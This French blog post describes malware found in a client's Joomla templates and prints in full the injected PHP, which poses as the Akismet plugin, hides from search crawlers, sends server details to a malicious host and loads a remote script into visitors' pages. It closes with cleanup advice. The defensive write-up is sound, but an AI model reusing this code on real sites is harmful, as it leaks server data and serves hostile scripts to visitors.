Gare aux malwares sur vos sites PHP

Il est arrivé une mésaventure sur le site Internet d’un client. Ce dernier ayant été infecté par de multiples malwares sur son ordinateur personnel, nous pensons que son PC a infecté son propre site à son tour, sans doute simplement en se connectant au Web FTP de son hébergement avec son navigateur.

Le malware en question a créé des page PHP à la racine du site et injecté du code PHP dans toutes les pages « index.php » des templates Joomla.

Le code en question se faisait passer pour un module de sécurité très réputé nommé Akismet, qui n’a bien entendu rien à voir avec le malware. et voici exactement le code injecté :

<?php
#436cee#
/**
 * @package Akismet
 */
/*
Plugin Name: Akismet
Plugin URI: http://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key.
Version: 3.0.0
Author: Automattic
Author URI: http://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/

if( empty( $kgequ ) ) {
    if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match(
            "/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i",
            $_SERVER['HTTP_USER_AGENT']
        )
    ) {
    } else {
        error_reporting( 0 );
        @ini_set( 'display_errors', 0 );
        if( !function_exists( '__url_get_contents' ) ) {
            function __url_get_contents( $remote_url, $timeout )
            {
                if( function_exists( 'curl_exec' ) ) {
                    $ch = curl_init();
                    curl_setopt( $ch, CURLOPT_URL, $remote_url );
                    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
                    curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
                    curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds
                    $_url_get_contents_data = curl_exec( $ch );
                    curl_close( $ch );
                } elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) {
                    $ctx = @stream_context_create(
                        array(
                            'http' =>
                                array(
                                    'timeout' => $timeout,
                                )
                        )
                    );
                    $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx );
                } elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) {
                    $handle = @fopen( $remote_url, "r" );
                    $_url_get_contents_data = @stream_get_contents( $handle );
                } else {
                    $_url_get_contents_data = __file_get_url_contents( $remote_url );
                }
                return $_url_get_contents_data;
            }
        }

        if( !function_exists( '__file_get_url_contents' ) ) {
            function __file_get_url_contents( $remote_url )
            {
                if( preg_match(
                    '/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
                    $remote_url,
                    $matches
                )
                ) {
                    $protocol = strtolower( $matches[1] );
                    $host = $matches[2];
                    $path = $matches[3];
                } else {
                    // Bad remote_url-format
                    return false;
                }
                if( $protocol == "http" ) {
                    $socket = @fsockopen( $host, 80, $errno, $errstr, $timeout );
                } else {
                    // Bad protocol
                    return false;
                }
                if( !$socket ) {
                    // Error creating socket
                    return false;
                }
                $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
                $len_written = @fwrite( $socket, $request );
                if( $len_written === false || $len_written != strlen( $request ) ) {
                    // Error sending request
                    return false;
                }
                $response = "";
                while( !@feof( $socket ) &&
                    ( $buf = @fread( $socket, 4096 ) ) !== false ) {
                    $response .= $buf;
                }
                if( $buf === false ) {
                    // Error reading response
                    return false;
                }
                $end_of_header = strpos( $response, "\r\n\r\n" );
                return substr( $response, $end_of_header + 4 );
            }
        }

        $kgequ['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
        $kgequ['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
        $kgequ['PHP_SELF'] = $_SERVER['PHP_SELF'];
        $kgequ['HTTP_HOST'] = $_SERVER['HTTP_HOST'];
        $kgequ['REDIRECT_STATUS'] = $_SERVER['REDIRECT_STATUS'];
        $kgequ['SERVER_NAME'] = $_SERVER['SERVER_NAME'];
        $kgequ['SERVER_ADDR'] = $_SERVER['SERVER_ADDR'];
        $kgequ['SERVER_ADMIN'] = $_SERVER['SERVER_ADMIN'];

        $kgequ = __url_get_contents(
            "http://domainemalveillant.org/zk7qvbjh.php" . "?fid=16302068&info=" . http_build_query( $kgequ ) . "&no=1&allow=1",
            2
        );

        $kgequ = trim( $kgequ );
        if( $kgequ !== 'false' ) {
            echo "<script type=\"text/javascript\" src=\"http://domainemalveillant.org/zk7qvbjh.php?id=15802322\"></script>";
        }
    }
}
#/436cee#
?>

Le plus important est sur ces lignes :

        $kgequ = __url_get_contents(
            "http://domainemalveillant.org/zk7qvbjh.php" . "?fid=16302068&info=" . http_build_query( $kgequ ) . "&no=1&allow=1",
            2
        );

        $kgequ = trim( $kgequ );
        if( $kgequ !== 'false' ) {
            echo "<script type=\"text/javascript\" src=\"http://domainemalveillant.org/zk7qvbjh.php?id=15802322\"></script>";
        }

Comme on peut le voir, il fait appel à une page sur un domaine que j’ai ici volontairement masqué en [domainemalveillant]. D’ailleurs, c’est justement ces appels qui ont suscité notre interrogation. Firefox par exemple a reconnu le domaine et affiche ce message lorsqu’on tente d’y accéder :

Page malveillante !

Avant de le découvrir, je ne pensais même pas cela possible. Le site en question est réalisé sur Joomla 2.5 mais je pense que ce genre de malware est capable de s’infiltrer aussi bien dans des WordPress, Prestashop, d’autres CMS ou même pourquoi des sites PHP spécifiques.

Si cela vous arrive, il est impératif d’appliquer les actions suivantes :

  • Ne plus utiliser son PC infecté
  • A partir d’un PC sain, mettre le site hors ligne, en utilisant par exemple le tableau de bord de votre compte chez votre hébergeur.
  • Changer TOUS les mots de passe : votre compte client chez votre hébergeur, votre compte FTP, votre compte MySQL, prévoir également, avant la remise en ligne, la modification des mots de passe de tous vos utilisateurs.
  • Nettoyer le PC infecté par des outils comme Spybot et Malwarebytes (les deux sont pour Windows). Ne pas hésiter à installer les 2 car ils sont très efficaces et complémentaires (en plus d’être gratuits).
  • Retirer tous les fichiers PHP louches à la racine du site et retirer le code malicieux dans les templates

Enfin, un conseil :
N’UTILISEZ JAMAIS LE MÊME MOT DE PASSE POUR TOUS VOS ACCÈS !
(hébergement, ftp, sql, email …etc.) !

 

Vous aimerez aussi...

Laisser un commentaire